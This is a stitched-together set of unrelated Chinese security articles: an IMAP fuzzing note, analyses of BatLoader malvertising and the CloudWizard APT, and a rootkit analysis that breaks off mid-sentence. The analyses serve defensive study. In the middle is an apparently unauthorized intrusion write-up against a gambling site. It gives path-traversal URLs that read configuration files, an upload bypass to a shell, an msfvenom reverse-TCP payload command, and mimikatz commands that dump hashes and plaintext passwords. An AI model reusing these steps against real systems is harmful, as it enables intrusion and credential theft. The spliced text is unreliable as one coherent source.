接下來我們將分享一些技巧，這些技巧可以直接從覆蓋跟踪日誌中而不是使用Tenet跟踪文件來確定一些更明顯的問題。這有望為你節省模糊器模塊開發的時間。 開發IMAP客戶端模糊器模塊WTF模糊器模塊在WTF框架之上運行。每個模糊器模塊必須實現WTF框架註冊的回調函數，然後由WTF可執行文件觸發。 IMAP包括創建、刪除和重命名郵箱、檢查新消息、永久刪除消息、設置和清除標誌以及選擇性獲取消息屬性和文本的操作。因此，為IMAP協議實施一個全面的突變策略可能會耗時。在本例中，我們只關注Windows Mail用於與IMAP服務器交互的特定IMAP命令。首先，我們將WinDbg預覽調試器附加到目標進程，以生成Windows Mail與真實的IMAP服務器(Gmail)交互的執行跟踪，以收集IMAP事務中的典型命令。清單1顯示了調試器的輸出，包括由Windows Mail客戶機發送到Gmail服務器的IMAP命令。 清單1：WindowsMail客戶端發送的調試器輸出IMAP命令 這樣我們的變異方法側重於NAMESPACE、LIST、SELECT、SEARCH和FETCH命令的IMAP響應。我們決定跳過對UIDFETCH命令的模糊測試，因為此響應處理程序涉及對本地文件系統中的消息數據庫的讀/寫。不幸的是，即使WTF默認提供了I/O子系統模擬框架，對於我們的案例來說，這個操作也無法輕鬆實現。我們認為這是一種合理的權衡，因為大多數重要的解析操作(如消息頭解析器)都在FETCH命令中進行。 IMAP數據包由此處規範定義的一系列結構化文本消息組成。因此，我們的IMAP數據包變異策略也需要具有結構感知能力。受著名的結構感知突變庫libprotobuf-mutator的啟發，我們使用JSON文件格式來存儲每個突變的IMAP響應。這個JSON文件將作為模糊器模塊的輸入測試用例。根據規範，JSON對象的關鍵組件是ResponseParams，它由IMAP客戶端將解釋的核心數據組成。儘管如此，我們的突變器將專注於從ResponseParams、ResponseStatus和ResponseType中改變數據。 清單2：示例IMAP響應輸入測試用例 本文主要講的是理論上的可能性，下一篇文章，我們會詳細介紹實踐中遇到的一些挑戰。

5月初，eSentire威脅響應小組（TRU）發現了一起進行中的BatLoader活動，該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁： • ChatGPT是一款人工智能聊天機器人，於2022年11月發布，自那以後就大受歡迎。 • Midjourney是一項生成式人工智能服務，通過該服務，用戶可以提交文本提示來生成圖像。 這兩種AI服務都極受歡迎，但缺少第一方獨立應用程序（即用戶通過其Web界面與ChatGPT進行交互，而Midjourney使用Discord）。 威脅分子利用了這一空檔，企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。 在最新的活動中，BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月，TRU發現了一系列新註冊的BatLoader域名，其中包括chatgpt-t[.]com。 概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中，感染可以追溯到谷歌搜索“chatbpt”，這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面： 圖1. ChatGPT冒充頁面。 下載鏈接指向advert-job[.]ru，然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。 圖2. 追根溯源後發現，HTTP事務指向job-lionserver[.]site上的最終下載。 Chat-GPT-x64.msixChat-GPT-x64.msix（md5hash：86a9728fd66d70f0ce8ef945726c2b77）是一種用於安裝應用程序的Windows應用程序包格式。 圖3. Chat-GPT-x64.msix文件屬性。 Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名： 圖4. Chat-GPT-x64.msix簽名細節。 仔細檢查該包的內容，我們可以看到安裝過程中使用的各項資產： 圖5. MSIX包中的應用程序資產。 查看AppXManifest文件，我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序（Advanced Installer）版本20.2創建而成 圖6. MSIX文件屬性。 圖7. MSIX文件屬性和元數據。 在高級安裝程序中打開包，我們可以看到該應用程序將啟動一個可執行文件（ChatGPT.exe）和一個PowerShell腳本（Chat.ps1）。 圖8. Chat-GPT-x64.msix起始點和權限。 圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令 安裝程序還將使用ChatGPT徽標，針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。 點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導： 圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。 文件簽名對於MSIX包而言至關重要，安裝程序不允許你在沒有可信證書籤名的情況下執行下一步（Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名）。 圖11. 若沒有有效的簽名，Chat-GPT-x64.msix安裝將無法進行下去。 在安裝過程中，Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。 圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。 Chat.ps1是一個基本的PowerShell下載載體。在這種情況下，它下載Redline信息竊取器，並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求： • Start.php：記錄感染的開始時間以及受害者的IP地址。 • Install.php：記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。 攻擊者執行這些操作是為了便於跟踪統計信息，從而使他們能夠輕鬆識別成功感染的受害者，並圍繞特定的活動或主題跟踪度量指標。 圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。 這個Redline樣本（md5hash 7716F2344BCEBD4B040077FC00FDB543）經配置後，使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81，這個Bot ID暗指這起活動中使用的兩個誘餌（ChatGPT和MidJourney）。 圖14. Redline文件屬性。 仔細檢查ChatGPT.exe，TRU發現該可執行文件使用Microsoft Edge WebView2，在安裝後的彈出窗口中加載https://chat.openai.com/。 圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。 其主要功能是轉移用戶的注意力，確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。 圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。 Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中，TRU觀察到類似的感染陰謀，企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix，這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。 圖17. Midjourney-x64.msix安裝。 在這個案例中，安裝程序執行一個經過混淆處理的PowerShell腳本（Chat-Ready.ps1），該腳本最終與圖13中所示的腳本相同，只是使用了不同的C2域。 圖18. Midjourney-x64.msix PowerShell執行。 圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。 我們做了什麼？ • TRU針對全球客戶的環境進行了積極主動的威脅搜索，以搜索已識別的應用程序包。 • 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。 • 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶，並提供了補救指導和支持。 你能從中學到什麼？ • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是，當系統管理員想方設法控制對這些平台的訪問時，用戶可能會另闢蹊徑以訪問它們。 • 威脅分子一直熱衷於利用這些大受歡迎的工具，承諾無限制地訪問。 • 我們的遙測數據顯示，濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降，這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而，最近這起活動表明，惡意廣告仍然可以避開審核員的視線，向受害者投遞惡意軟件。 該活動與之前發現的BatLoader活動有幾個相似之處：1. 使用谷歌搜索廣告冒充主要的品牌和服務。 2. 使用高級安裝程序創建安裝包。 3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。 4. 竊取信息的惡意軟件攻擊載荷。 我們威脅響應小組（TRU）團隊的建議：• 提高對偽裝成合法應用程序的惡意軟件的意識，並在貴公司的網絡釣魚和安全意識培訓（PSAT）計劃中加入相關示例，以教育員工如何保護自己免受類似的網絡威脅。 ○切記，一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性，而不是試圖把每個人都變成安全專家。 • 保護端點免受惡意軟件侵害。 ○確保反病毒特徵是最新的。 ○使用下一代反病毒軟件（NGAV）或端點檢測和響應（EDR）產品來檢測和遏制威脅。 • Windows Defender應用程序控制提供了管理打包應用程序（MSIX）的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。 在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。 在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。 初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞： 漏洞在內部循環中：它使用變量i而不是j 對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞： 同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。 解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置： 這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。 在mods.lrc中，我們發現： 三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）； 這些DLL的JSON配置。 syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。 在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件: Orchestrator本身包含一個配置，其參數如下： 受害者ID（例如03072020DD）； 框架版本（最新觀測版本為5.0）； 連續兩次檢測信號之間的間隔時間； 啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表： 此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。 作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。 加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法： 檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）； 使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。 互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型: 雲存儲:OneDrive, Dropbox, Google Drive； 基於Web的C2服務器； 主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。 至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。 在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。 模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數： Start：啟動模塊； Stop：停止模塊； Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的； GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）； GetSettings：返回模塊配置； 模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。 我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。 我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/ 如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。 在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。 同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。 在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。 未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件： C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe； C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)； C: \ ProgramData \ System \ \ etwupd.dfg； 之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。 值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息： 這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。 舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別： 舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立； 舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring； 舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。 幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。 至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據： 1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb； 2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb； 再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的： 3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。 4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。 5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染； 6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。 在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E） 在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC） 在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串 7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。 Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5) 在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2） 8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。 在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表 9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。 10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序： Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表 11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss. 12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。 13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。 CloudWizard和CommonMagic的相似之處如下： 14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。 CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8) 15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。 16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。 17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。 18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。 總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

信息收集 正准备开干，有人企鹅私聊我让我跟他赚大钱。 群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。 随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。 放在云悉上看一下。 访问一下子域名，很僵硬。 再看看端口吧，3306开放，主机是Windows的。 收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。 登录后台 3306抱着尝试心态爆破试试，不出意外，mysql没出来。 top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。 没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。 坎坷上传 后台论坛文章管理处看见编辑器，瞬间两眼放光。 允许单图片、多图片尝试上传。 裂开了，白名单限制。 各种截断绕过失败。 看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。 网上搜了一下，这个编辑器好像没什么漏洞，思路已干~ 转折出现 继续翻翻找找，发现订单详情也可下载订单图片。 下载链接： http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg 通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？ 构造链接尝试一下： http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php Nice啊，胡汉三终于要翻身了。 继续寻找配置文件，一般index.php会引入数据库配置文件。 http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php 继续构造查看config.php。 http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php 拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。 没办法，继续翻，尝试读取apache配置文件。 http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf 王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~ 继续翻，在会员管理找到一处上传头像处。 修改文件名称上传，响应并返回上传路径。 构造链接下载，文件下载已成功，证明存在。 http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html 拼接访问，成功解析。 http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html 激动地心，颤抖的手啊，成功getshell。 梭哈成功 尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。 使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。 继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。 1、首先使用msf在本地生成一个木马文件，指定payload； msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe 2、本地开启python服务器，端口为8000； python -m http.server 8000 3、将文件放置在python服务器中，查看已经开启； 在终端目标机中下载exe文件； echo open 服务器ip:8000>exe文件。 4、使用msf中reverse_tcp开启监听； handler -p windows/meterpreter_reverse_tcp -H ip -P 4444 5、执行exe文件，成功收到shell。 拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。 Ps查看进程，寻找稳定进程进行迁移。 migrate pid号 将meterpreter进程迁移到408进程：migrate 408 成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。 首先加载mimikatz模块： 这里列出 mimikatz_command模块用法: meterpreter > mimikatz_command -f a:: 输入一个错误的模块，可以列出所有模块 meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令 meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f handle::list 列出应用进程 meterpreter > mimikatz_command -f service::list 列出服务 meterpreter > mimikatz_command -f sekurlsa::searchPasswords meterpreter > run post/windows/gather/smart_hashdump 获取hash 选择samdump模块，该模块存在俩个功能: ? mimikatz_command -f samdump::hashes ? mimikatz_command -f samdump::bootkey 但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。 mimikatz_command -f sekurlsa::searchPasswords 最后3389连接成功，打完收工。 证明有时当一当铁头娃还是不错的。 总结 从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。 转载于原文链接： https://cloud.tencent.com/developer/article/1790943

本文會分析野外發現的兩個rootkit示例：Husky rootkit和Mingloa/CopperStealer rootkit。 驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始，在Windows內核驅動程序中，它是DriverEntry。 DriverEntry通常包括以下代碼塊： 調用IoCreateDevice和IoCreateSymbolicLink； 初始化主要函數數組，其中包含指向各種處理函數的函數指針； 為DriverUnload例程分配一個指向處理程序函數的函數指針。 以下片段（代碼段1）展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。 C語言中DriverEntry實現的一個示例 下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。 代碼段2：DriverEntry的反彙編 DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。 此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源，例如，刪除在DriverEntry中創建的設備和符號鏈接。 調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。 代碼段3：C語言中DriverUnload實現的一個示例 Windows內核結構為了充分理解Windows內核驅動程序的反彙編，我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。 例如，以下結構是DRIVER_OBECT（代碼段4）。 代碼段4：分解DRIVER_OBECT結構 當對IRP進行逆向工程時，繪製出驅動程序使用的IRP主要函數是很有用的。例如，通過查看結構偏移（代碼段4）和反彙編（代碼段2），我們可以確定sub_1400014B0是DriverUnload。 我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值，通過檢查代碼的主要函數，得出sub_140001280（在Snippet 2中）是IRP_MJ_CREATE的函數處理程序的結論，該代碼將從DRIVER_OBECT結構中的MajorFunction（0x70）的偏移量得出0x70的結果。這顯然是0x00*PointerSize（x64體系結構中為8）；因此，正在處理的是IRP_MJ_CREATE。 可以用同樣的方式，確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。 代碼段5：摘自wdm.h，它定義了所有IRP主要函數的常數值 在進行分析時，我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。 IRP，也稱為I/O請求包，是一種在創建I/O請求期間，在設備堆棧中的不同驅動程序之間移動，直到請求完成的結構。 當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時，會創建IRP。 代碼段6：IRP結構的分解 此外，IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置（因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針）。 IO_STACK_LOCATION結構包含一個聯合類型的參數字段，該字段指定驅動程序中不同主函數要使用的不同參數。 例如，如果當前操作是IRP_MJ_DEVICE_CONTROL，則將使用DeviceIoControl類型的參數，包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。 代碼段7：IO_STACK_LOCATION結構的分解 有了我們對Windows內核驅動程序的新理解，以及如何在Windows驅動程序中找到關鍵函數，讓我們看看一些真實的示例。 示例1：Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過，他們沒有提供這個示例的技術分析。 示例詳細信息 示例概述該示例是一個內核驅動程序，使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0（圖1）找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html，這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。 通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解 注入的shellcode使用經典技術，如遍歷InLoadOrderModuleList以查找庫句柄，以及解析API函數（如LoadLibraryA和GetProcAddress），這些函數可用於解析任何其他API。 注入的shellcode分析起來也很長（圖2），看起來與前面提到的Unit 42博客中描述的shellcode非常相似，因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括： Brute Ratel C4的Base64編碼配置數據； Brute Ratel C4有效負載； 可移植可執行文件（PE）64二進製文件，是VMProtect打包的內核驅動程序，稍後加載。 圖2：摘自shellcode，將許多值推送到堆棧並形成Base64 blob Brute Ratel 